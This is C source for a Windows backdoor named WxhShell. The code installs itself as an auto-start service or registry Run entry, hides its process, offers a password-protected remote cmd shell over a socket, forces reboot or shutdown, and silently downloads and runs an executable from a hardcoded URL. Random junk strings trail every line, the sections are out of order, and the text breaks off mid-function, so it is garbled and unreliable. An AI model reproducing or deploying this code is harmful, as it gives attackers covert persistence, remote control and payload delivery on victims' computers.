    if(Boot(SHUTDOWN)) g}K/ba'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,1lW`Krx  
    else { '&K' 0qG  
    closesocket(wsh); QMrH%Y  
    ExitThread(0); E?|NYu#I6  
    } X%fLV(  
    break; S1'?"zAmd  
    } _^zs(  
  // 获取shell IB 4L(n1  
  case 's': { T g3MPa#g  
    CmdShell(wsh); >r,z^]-  
    closesocket(wsh); >1]hR)Ip  
    ExitThread(0); :eB+t`M  
    break; ^T1caVb|>  
  } Us2> 5 :\  
  // 退出 ,1JQjsR   
  case 'x': { hb/Z{T'   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]VtP7 Y  
    CloseIt(wsh); ) .' + {  
    break; tx`^'%GMA  
    } Zu4CFX-4  
  // 离开 P 6ka'!z  
  case 'q': { ]~f-8!$$R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o8%o68py  
    closesocket(wsh); MTgf.  
    WSACleanup(); [z= !OFdE  
    exit(1); ZC<EPUV(  
    break; Sz')1<  
        } p:{L fQ  
  } o54=^@>O<j  
  } ncOl}\Q9  
/7,@q?v  
  // 提示信息 `_ZbA#R,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 48G^$T{  
} BC1smSlJ  
  } ;4/ n~  
k+je-%hPj  
  return; .Zs.O/  
} %]tW2s"  
k*F9&-rtN  
// shell模块句柄 iS"6)#a72  
int CmdShell(SOCKET sock) I|c?*~7*  
{ )-}<}< oO  
STARTUPINFO si; !O'p{dj][  
ZeroMemory(&si,sizeof(si)); JnnxXj30,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yOb']  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mRGr+m  
PROCESS_INFORMATION ProcessInfo; HL>l.IG?  
char cmdline[]="cmd"; EUH9R8)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w Bm4~ ~_  
  return 0; p}wysVB  
} X(DP=C}v9  
"@5{=  
// 自身启动模式 `Jj b4]  
int StartFromService(void) v{*2F  
{ mYXL  
typedef struct ) R\";{`M  
{ r8czDc),b  
  DWORD ExitStatus; ybv< 1  
  DWORD PebBaseAddress; n%~r^ C_  
  DWORD AffinityMask; $ >].;y?$  
  DWORD BasePriority; QAZs1;lU  
  ULONG UniqueProcessId; ]2iIk=r$  
  ULONG InheritedFromUniqueProcessId; 3!#FG0Z   
}   PROCESS_BASIC_INFORMATION; 9Q\B1Q  
M;KeY[u  
PROCNTQSIP NtQueryInformationProcess; u3 &# UN  
=_Z.x&fi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;>X;cZMd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _)3C_G1!  
fJ\ u8  
  HANDLE             hProcess; `(O#$n  
  PROCESS_BASIC_INFORMATION pbi; $,I@c"m{  
JEZ0O&_R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n>SK2`  
  if(NULL == hInst ) return 0; [<f9EeziB  
Zx6h%l,%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `7V1 F.\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >^<;;8Xh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i-dosY`81  
uLI;_,/:  
  if (!NtQueryInformationProcess) return 0; JZ-64OT  
G[OJ <px  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qk0cf~ gz  
  if(!hProcess) return 0; c@4$)68  
"(';UFa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pB%oFWqK  
^HI2Vp  
  CloseHandle(hProcess); 20J-VN:  
G1ruF8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k<N5*k8M  
if(hProcess==NULL) return 0; ]}]+aB  
j[t2Bp  
HMODULE hMod; } z7yS.{  
char procName[255]; mU||(;I  
unsigned long cbNeeded; f&] !;)  
"uyr@u0b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .=hVto[QC  
>29c[O"[  
  CloseHandle(hProcess); F^}d>2W(  
L}g#h+GP[  
if(strstr(procName,"services")) return 1; // 以服务启动 wW<u)|>ye  
, BZ(-M  
  return 0; // 注册表启动 0+e 0<'  
} 2:yXeSeA  
X1V~.k vt)  
// 主模块 hOdU%  
int StartWxhshell(LPSTR lpCmdLine) " Z dI~  
{ TKEcbGhy  
  SOCKET wsl; OsYZ a`$,  
BOOL val=TRUE; ps/|^8aGZ  
  int port=0; ,t'"3<^Jg  
  struct sockaddr_in door; E2S#REB4  
<l+hcYam  
  if(wscfg.ws_autoins) Install(); cVmF'g  
I0^oaccM  
port=atoi(lpCmdLine); u:wijkx  
xKepZ  
if(port<=0) port=wscfg.ws_port; 4"^W/Zo  
X@)'E9g5:  
  WSADATA data; ~1S,[5u|s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F hyY+{%  
mFd|JbW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rj1%IzaXU^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |0_5iFAB|  
  door.sin_family = AF_INET; E?Qg'|+_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jD6T2K7i  
  door.sin_port = htons(port); +p]@b  
'S=eW_ 0/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6&2{V? W3  
closesocket(wsl); _C'VC#Sy  
return 1; ]/[@.   
} /}CAd  
*ck'vV'@  
  if(listen(wsl,2) == INVALID_SOCKET) { XuU>.T$]c  
closesocket(wsl); xa{.hp?  
return 1; lhBAT%U\  
} D>-Pv-f/  
  Wxhshell(wsl); vrvi] Y8  
  WSACleanup(); a 5w E{K  
kpQN>XV#  
return 0; OE}c$!@  
,wyEo>>4)  
} wDBU+Z  
m?;/H  
// 以NT服务方式启动 b%VZPKA;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,}I m^~5  
{ |n(b>.X  
DWORD   status = 0; #!r>3W&  
  DWORD   specificError = 0xfffffff; :8?l=B9("g  
/6 y;fx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V[7D4r.j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A\.{(,;kp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x Y}.mP  
  serviceStatus.dwWin32ExitCode     = 0; gN<J0c)  
  serviceStatus.dwServiceSpecificExitCode = 0; IhK%.B{dZ  
  serviceStatus.dwCheckPoint       = 0; i&)OJy  
  serviceStatus.dwWaitHint       = 0; ^Q!A4 qOQ  
&u (pBr8B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Qkwg]X  
  if (hServiceStatusHandle==0) return; OY!WEP$F-C  
JbXi|OS/  
status = GetLastError(); F C=N}5u  
  if (status!=NO_ERROR) 9*r l7  
{ 8N`Rf; BM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >aCY  
    serviceStatus.dwCheckPoint       = 0; 5R1? jlm  
    serviceStatus.dwWaitHint       = 0; (Q.I DDlr  
    serviceStatus.dwWin32ExitCode     = status; }|znQ3A2\l  
    serviceStatus.dwServiceSpecificExitCode = specificError; l o- 42)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j& L@L.d  
    return; ~O3VX75f  
  } SkU9iW(k  
N#X* 0i"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i> {0h3Y  
  serviceStatus.dwCheckPoint       = 0; @U =~ c9  
  serviceStatus.dwWaitHint       = 0; gaE8\JSr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =}SLQdT  
} Hig.` P  
W/%9=g$m  
// 处理NT服务事件,比如:启动、停止 D\DwBZ>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5hDPX \  
{ TR'_v[uK3  
switch(fdwControl) d"lk"R  
{ :y_] JL;w  
case SERVICE_CONTROL_STOP: *nV"X0&  
  serviceStatus.dwWin32ExitCode = 0; OM@z5UP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o9OCgP`Y  
  serviceStatus.dwCheckPoint   = 0; NezE]'}  
  serviceStatus.dwWaitHint     = 0; C!Fi &~  
  { Xp fw2;`U'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z[1|('   
  } 0J;Qpi!u2v  
  return; 9LOq*0L_:  
case SERVICE_CONTROL_PAUSE: hF5(1s}e$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LK>;\BRe?  
  break; &Cr4<V6-q  
case SERVICE_CONTROL_CONTINUE: TT&%[A+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :fnK`RnaQ  
  break; 6 8Vxy  
case SERVICE_CONTROL_INTERROGATE: iY5V4Gbo  
  break; !3z ;u8W  
}; 1buO&q!vn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YuoIhT  
} `9acR>00$  
<2O XXQ1  
// 标准应用程序主函数 Z!l]v.S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nema>T]  
{ G"Hj$  
:_o^oi7G  
// 获取操作系统版本 oZi{v]4  
OsIsNt=GetOsVer(); U/h@Q\~U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qp>Z&LvC5  
D|'[[=  
  // 从命令行安装 ,z> w^_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1L=)93,M  
bE3mOml  
  // 下载执行文件 9A9T'g)Du  
if(wscfg.ws_downexe) { &/g^J\0M)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ss\FSEN!/  
  WinExec(wscfg.ws_filenam,SW_HIDE); bP4}a!t+n  
} 4"\%/kG  
WzBr1 ea{I  
if(!OsIsNt) { D4~]:@v~n  
// 如果时win9x,隐藏进程并且设置为注册表启动  nL[G@1nR  
HideProc(); S[N9/2  
StartWxhshell(lpCmdLine); ff00s+  
} x_wWe>0  
else `dRqheX  
  if(StartFromService()) F;BCSoO4  
  // 以服务方式启动 ,}wFQ9*|W  
  StartServiceCtrlDispatcher(DispatchTable); ^S!;snhn  
else xRq A^Ad  
  // 普通方式启动 MXDUKh7v3  
  StartWxhshell(lpCmdLine); Ms-)S7tMz  
"ZFH_5<  
return 0; #WAX&<m  
} a TPq1u  
v3<q_J'qT  
^Ww5@  
g1Osd7\o  
=========================================== s3 VD6xi7  
4^:$|\?]  
(ki= s+W-  
0!tuUn  
rU 1Ri  
kr-5O0tmf  
" eL{$=Um  
^|2m&2  
#include <stdio.h> FwD q@Oj  
#include <string.h> ^$[iLX  
#include <windows.h> YWL7.Y>%5  
#include <winsock2.h> 8i)9ho<  
#include <winsvc.h> z|\n^ZK=  
#include <urlmon.h> #er% q:  
^1_CS*  
#pragma comment (lib, "Ws2_32.lib") [\  &2&  
#pragma comment (lib, "urlmon.lib") lR]FQnZ  
c6SXz%'k  
#define MAX_USER   100 // 最大客户端连接数 jINI<[v[  
#define BUF_SOCK   200 // sock buffer )UyJ.!Fly  
#define KEY_BUFF   255 // 输入 buffer '6L@l  
;WhRDmT  
#define REBOOT     0   // 重启 (*AJ6BQWa  
#define SHUTDOWN   1   // 关机 "{zqXM}:C  
ImbA2Gcs  
#define DEF_PORT   5000 // 监听端口 ;^|):x+O  
6{yn;D4  
#define REG_LEN     16   // 注册表键长度 _'*(-K5&  
#define SVC_LEN     80   // NT服务名长度 r`< x@,  
8q; aCtei  
// 从dll定义API %P:|B:\<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [6Sk>j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vG\ b `  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @jrxbo;5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O2"V'(  
ln8es{q  
// wxhshell配置信息 %,zHS?)l  
struct WSCFG { r|i)  
  int ws_port;         // 监听端口 ^dE[ ;  
  char ws_passstr[REG_LEN]; // 口令 n~tb z"&  
  int ws_autoins;       // 安装标记, 1=yes 0=no G\^<MR|  
  char ws_regname[REG_LEN]; // 注册表键名 O- LwX >  
  char ws_svcname[REG_LEN]; // 服务名 M}q;\}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y/T-q<ag8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PWkSl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zS h9`F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *zW]IQ'A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ex skd}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .L]5,#2([  
[(&aVHUj  
}; qk(bA/+e  
!!w(`kmn1  
// default Wxhshell configuration 9vSKIq  
struct WSCFG wscfg={DEF_PORT, /XU=l0u  
    "xuhuanlingzhe", IreY8.FND  
    1, g yhy0  
    "Wxhshell", dczSW ]%  
    "Wxhshell", ]Tg@wMgI  
            "WxhShell Service", 2 )3oX  
    "Wrsky Windows CmdShell Service", ,t:P  
    "Please Input Your Password: ", Ge7B%p8  
  1, W1Ye+vg/s  
  "http://www.wrsky.com/wxhshell.exe", ,+I]\ZeO  
  "Wxhshell.exe" %s^1de  
    }; Wh~,?}laj  
5)5yH bS  
// 消息定义模块 8si{|*;hL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VT=gb/W6)a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PsD)]V9%:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0rm(i*Q  
char *msg_ws_ext="\n\rExit."; 7S=,#  
char *msg_ws_end="\n\rQuit."; TQ0ZBhd  
char *msg_ws_boot="\n\rReboot..."; Sw5:T  
char *msg_ws_poff="\n\rShutdown..."; 5HE5$S  
char *msg_ws_down="\n\rSave to "; =6'bGC%c  
P ?n k>  
char *msg_ws_err="\n\rErr!"; gsl_aW!  
char *msg_ws_ok="\n\rOK!"; ;%^{Zybh  
!hHX8TD^J  
char ExeFile[MAX_PATH]; 0,Ib74N'w  
int nUser = 0; .yFO] r1aL  
HANDLE handles[MAX_USER]; KWAd~8,mk  
int OsIsNt; oe0YxSauL  
Q]3]Z/i  
SERVICE_STATUS       serviceStatus; =1'WZp}D5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bf {_U%`  
9)o@d`*  
// 函数声明 FK`:eP{  
int Install(void); zmL VFGnS  
int Uninstall(void); YMU""/(  
int DownloadFile(char *sURL, SOCKET wsh); v~jm<{={g  
int Boot(int flag); dQ9W40g1  
void HideProc(void); 1eEML"  
int GetOsVer(void); }pnp._j  
int Wxhshell(SOCKET wsl); z( }w|  
void TalkWithClient(void *cs); MI(;0   
int CmdShell(SOCKET sock); 5h0Hk<N  
int StartFromService(void); 5X>~39(r  
int StartWxhshell(LPSTR lpCmdLine); \NEk B&^n  
)+=Kh$VbS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z @ef2y;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;[[6[i  
kM&-t&7  
// 数据结构和表定义 $5&~gHc,  
SERVICE_TABLE_ENTRY DispatchTable[] = T?6<1nU)  
{ $#2<f 6  
{wscfg.ws_svcname, NTServiceMain}, FQ`1c[M@  
{NULL, NULL} "Z;({a$v  
}; mH4u@aQ}  
HavlN}h  
// 自我安装 q-uzu!  
int Install(void) PAtv#)h  
{ 9F?-zn;2s  
  char svExeFile[MAX_PATH]; :@ VCKq!  
  HKEY key; ,S(s  
  strcpy(svExeFile,ExeFile); 5MD'AP:  
(E&M[hH+  
// 如果是win9x系统,修改注册表设为自启动 ZbjUOlE02  
if(!OsIsNt) { s S#/JLDx]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3}&3{kt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DHx&%]r;D  
  RegCloseKey(key); $!y^t$u$@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J YA>Q&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M_.Jmh<&&  
  RegCloseKey(key); m%>}T 75C^  
  return 0; ^cSfkBh  
    } }#%Y eCA?  
  } -!O8V  
} O>a1S*mxP  
else { ccPWfy_  
r]D U  
// 如果是NT以上系统,安装为系统服务 aR('u:@jHi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -)3+/4Q(  
if (schSCManager!=0) bZ OCj1  
{ 5>daWmD  
  SC_HANDLE schService = CreateService T!>hPg  
  ( )b>misb/  
  schSCManager, F4WX$;1  
  wscfg.ws_svcname, m)"(S  
  wscfg.ws_svcdisp, @G=7A;-pv0  
  SERVICE_ALL_ACCESS, kR^h@@'F"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )T^w c:  
  SERVICE_AUTO_START, ?A_+G 5  
  SERVICE_ERROR_NORMAL, JX[]u<h?  
  svExeFile, (xVx|:R[<H  
  NULL, <eS/-W %n6  
  NULL, wVnmT94  
  NULL, $Cfp1#  
  NULL, JMo r[*  
  NULL (w5cp!qW9J  
  ); %N&W_.F6  
  if (schService!=0) ID! S}D  
  { <)T~_s  
  CloseServiceHandle(schService); _@[W[= |H  
  CloseServiceHandle(schSCManager); b7I0R; Zj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J5HK1  
  strcat(svExeFile,wscfg.ws_svcname); !6RDq`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3&AJN#c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ba|}$jo  
  RegCloseKey(key); vt *  
  return 0; ~ss6yQ$  
    } JS%LJ _J  
  } w5~j|c=_W  
  CloseServiceHandle(schSCManager); -l[$+Kw1S  
} "-dA\,G  
} q>>1?hzA  
cc_'Kv!  
return 1; xP&7i'ag  
} >dm9 YfQ  
Q1x&Zm1v  
// 自我卸载 Lw_|o[I}  
int Uninstall(void) Wkjp:`(-$r  
{ .Wy'  
  HKEY key; PuGs%{$(h  
f+n {9Hz  
if(!OsIsNt) { H)gc"aRe;Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E?P>s T3B  
  RegDeleteValue(key,wscfg.ws_regname); 5V =mj+X?  
  RegCloseKey(key); r~ f;g9I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n5.sx|bI?  
  RegDeleteValue(key,wscfg.ws_regname); xsJXf @  
  RegCloseKey(key); 6vE#$(n#a&  
  return 0; DwGM+)!  
  } ;R#RdUFH  
} O_4B> )zd  
} k_wcol,W  
else { jK*d  
4OgH+<G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yF.Gz`yi  
if (schSCManager!=0) g H'hA'  
{ jI*@&3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wS#Uw_[  
  if (schService!=0) 6fo" k+S  
  { w(S~}'Sg*P  
  if(DeleteService(schService)!=0) { NQ 6oyg@&  
  CloseServiceHandle(schService); 1v`|mU}i,  
  CloseServiceHandle(schSCManager); E7? n'!=  
  return 0; j<0 ;JAL  
  } {2P18&=  
  CloseServiceHandle(schService); ux(~+<k  
  } `pZX!6Wn  
  CloseServiceHandle(schSCManager); Z.Z;p/4F  
} 6LGl]jHf  
} !ae?EJm"  
wLqj<ot  
return 1; Qr3!6  
} 9cP{u$  
Q*ELMib  
// 从指定url下载文件 KhB775  
int DownloadFile(char *sURL, SOCKET wsh) eUB!sR%  
{ "49dsKIOH  
  HRESULT hr; *Ic^9njt  
char seps[]= "/"; UhS:tT]7  
char *token; $o5i15Oy.  
char *file; l:UKU!  
char myURL[MAX_PATH]; m+s*Io{Ip  
char myFILE[MAX_PATH]; 63Gq5dF  
+ynhN\S$/  
strcpy(myURL,sURL); wyB]!4yy,  
  token=strtok(myURL,seps); * BR#^Wt  
  while(token!=NULL) %~Rg`+  
  { FP=- jf/  
    file=token; Er j{_i?R?  
  token=strtok(NULL,seps); _&V,yp!|  
  } g*YA~J@  
u$[8Zmgzz  
GetCurrentDirectory(MAX_PATH,myFILE); GEf=A.WAfw  
strcat(myFILE, "\\"); PN]hG,q*4O  
strcat(myFILE, file); E\s1p: %  
  send(wsh,myFILE,strlen(myFILE),0); 2!B|w8ar  
send(wsh,"...",3,0); Q}lCQK/g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P<vU!`x% q  
  if(hr==S_OK) @- |G_BZ  
return 0; t7x<=rW7u  
else U~7udUR  
return 1; L@AFt)U  
J.4U;A5  
} $RYGAh  
}l$zZ>.\H  
// 系统电源模块 r.#r!.6 q  
int Boot(int flag) [y'blCb  
{ N'EZJ oH  
  HANDLE hToken; U-1UWq  
  TOKEN_PRIVILEGES tkp; !fn%Q'S  
h?SRX_  
  if(OsIsNt) { fTy:Re  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l5 H5!$3~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +)q ,4+K%}  
    tkp.PrivilegeCount = 1; 8Z\q)T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c8uw_6#r(D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1[Yl8W%pj  
if(flag==REBOOT) { :g63*d+/G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 67Pmnad  
  return 0; Lv%t*s2$/  
} GyQFR?  
else { /K&9c !]$C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O5p$ A @  
  return 0; e3CFW_p  
} ky[Cx!81C  
  } 0/f|ZH ~!  
  else { ,(x` zpp _  
if(flag==REBOOT) { }>BNdm"Er  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TU~y;:OJ  
  return 0; mp$IhJ6#  
} `Pj7:[."[  
else { er3~gm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^lV}![do!  
  return 0; A9BoH[is7  
} qfJ2iE|o2.  
} dyn)KDS  
~%>i lWaHB  
return 1; :3Q:pKg  
} xtv%C  
hfY/)-60o  
// win9x进程隐藏模块 Fn`Zw:vp6  
void HideProc(void) h]&  
{ Qv ~@  
-9{N7H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /fT"WaTEK  
  if ( hKernel != NULL ) M]{~T7n-  
  { v0)Y,hW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QlMLWi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iU 6,B  
    FreeLibrary(hKernel); &&C70+_po  
  } G^dp9A  
Ij4q &i"  
return; Posz|u<x  
} J  Y8Rk=  
-d4 v:Jab  
// 获取操作系统版本 7 SJ=2  
int GetOsVer(void) 6?M/7 1  
{ '62_q8:  
  OSVERSIONINFO winfo; =L#&`s@)_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tP! %(+V  
  GetVersionEx(&winfo); T=-UcF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y-.{){uaD  
  return 1; \v-I<"::  
  else au50%sA~  
  return 0; U'" #jT  
} [#@lsI  
qtAt=` s  
// 客户端句柄模块 --l UEo~  
int Wxhshell(SOCKET wsl) vJ&D>Vh4e  
{ ^\B4]'+^j  
  SOCKET wsh; G9okl9;od  
  struct sockaddr_in client; c;q=$MO`  
  DWORD myID; (,o@/ -o  
|T"vF`Kr(>  
  while(nUser<MAX_USER) /"La@M37  
{ W3UxFs]$  
  int nSize=sizeof(client); T:{&e WH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =ZURh_{xV  
  if(wsh==INVALID_SOCKET) return 1; FvVC 2Z  
=Y|( }92  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q+Q"JU  
if(handles[nUser]==0) $<)]~* *K  
  closesocket(wsh); hq {{XQ  
else zL+t&P[\  
  nUser++; Ip7#${f5M  
  } "!vY{9,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n!Y_SPg   
v+{{j|x=  
  return 0; ELnUpmv\  
} $k&v juB.  
VV1sadS:S`  
// 关闭 socket &D{!zF  
void CloseIt(SOCKET wsh) ZlC+DXg#S  
{ Hm'fK$y(  
closesocket(wsh); "TaLvworb4  
nUser--; *8,W$pe3  
ExitThread(0); B`R@%US  
} 9kWI2cLzQt  
)N- '~<N  
// 客户端请求句柄 64U|]g d$  
void TalkWithClient(void *cs) !?ZR_=Y%  
{ ?+ d{Rh) y  
|LC"1 k  
  SOCKET wsh=(SOCKET)cs; 8k:^( kByF  
  char pwd[SVC_LEN]; !$1qnsz  
  char cmd[KEY_BUFF]; <h9nt4F  
char chr[1]; ba G_7>Q9H  
int i,j; .up[wt gN  
U'F}k0h?\'  
  while (nUser < MAX_USER) { dO2?&f  
<S7SH-{_\  
if(wscfg.ws_passstr) { I^f|U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {"~[F2qR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K:< Viz  
  //ZeroMemory(pwd,KEY_BUFF); =TEe:%mN  
      i=0; :35h0;8+  
  while(i<SVC_LEN) { @a]cI  
3t+{~{Dj  
  // 设置超时 M/.M~/ ~  
  fd_set FdRead; v4Ag~Evcx  
  struct timeval TimeOut; {:"<E?+  
  FD_ZERO(&FdRead); 3,v/zcV  
  FD_SET(wsh,&FdRead); m4OnRZYlw  
  TimeOut.tv_sec=8; -E6av|c,F  
  TimeOut.tv_usec=0; )!rD&l$tE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?/MkH0[G=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d m"R0>  
NvIg,@}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T'7>4MT(  
  pwd=chr[0]; jEQ_#KKYJ  
  if(chr[0]==0xd || chr[0]==0xa) { wxK71OH  
  pwd=0; )vOBF5  
  break; vjGJRk|XED  
  } =/a`X[9vI  
  i++; b*S,8vE]  
    } ,{:qbt  
eSObOG/  
  // 如果是非法用户,关闭 socket VFZyWX@#u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k0I$x:c  
} S_Nm?;P  
SbX^DAlB1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'q;MhnU+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bQI :N  
]7k:3"wH  
while(1) { ~u1~%  
t1iz5%`p}  
  ZeroMemory(cmd,KEY_BUFF); N)H+N g[  
DI;LhS*z  
      // 自动支持客户端 telnet标准   g&p(XuN  
  j=0; $~:ZzZO  
  while(j<KEY_BUFF) { cu5}(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mB0`>?#i  
  cmd[j]=chr[0]; R&t2   
  if(chr[0]==0xa || chr[0]==0xd) { <75x@!  
  cmd[j]=0; u y"i3xD6-  
  break; 9:RV5Dt  
  } -tWxB GSa@  
  j++; :I";&7C  
    } mp sX4  
2l V`UIa  
  // 下载文件 ,V]FAIJ  
  if(strstr(cmd,"http://")) { z"7?I$N Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T;Kv<G;  
  if(DownloadFile(cmd,wsh)) R6 ej  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kk=>"?&  
  else V]Ccj\Oi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w-)JCdS6Tb  
  } (L4C1h_]9  
  else { n3V$Xtxw  
M-Vz$D/aed  
